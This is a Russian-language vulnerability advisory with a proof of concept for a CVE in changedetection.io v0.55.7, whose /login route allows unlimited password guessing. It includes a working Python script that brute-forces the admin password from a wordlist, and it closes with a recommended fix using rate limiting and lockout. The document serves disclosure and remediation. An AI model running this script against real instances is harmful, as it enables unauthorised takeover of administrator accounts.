
PoC: неограниченный брутфорс входа в changedetection.io, без ограничения частоты запросов (CVE-2026-71205, Средний 6.5)
/login позволяет неограниченный перебор паролейПродукт: dgtlmoon/changedetection.io — v0.55.7
Файл: changedetectionio/flask_app.py
CWE: CWE-307 — Ненадлежащее ограничение чрезмерных попыток аутентификации
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Medium)
CNA: Turan Security · запись CVE
Маршрут /login в changedetection.io проверяет отправленный пароль по одному
PBKDF2-HMAC-SHA256-хешу без ограничения скорости по IP или сессии, счётчика неудачных попыток
или блокировки. В requirements.txt отсутствует какая-либо библиотека для ограничения скорости.
Атакующий может выполнять неограниченные попытки подбора пароля для входа единственного администратора без какого-либо троттлинга, что позволяет проводить онлайн-перебор или атаки с подстановкой учётных данных против единственной учётной записи экземпляра без затрат, кроме сетевых round-trip.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Запустите на экземпляре с любым словарём паролей — ни одно количество попыток не вызывает блокировку, CAPTCHA или увеличивающуюся задержку в любой момент выполнения.
Обработчик входа выполняет прямое сравнение хеша без состояния отслеживания попыток (по IP, по сессии или глобального), а также без установленного промежуточного ПО или библиотеки для ограничения скорости.
Добавьте библиотеку для ограничения скорости (например, Flask-Limiter) к /login, со счётчиком неудачных попыток
и экспоненциальной задержкой или временной блокировкой для каждого исходного IP/сессии.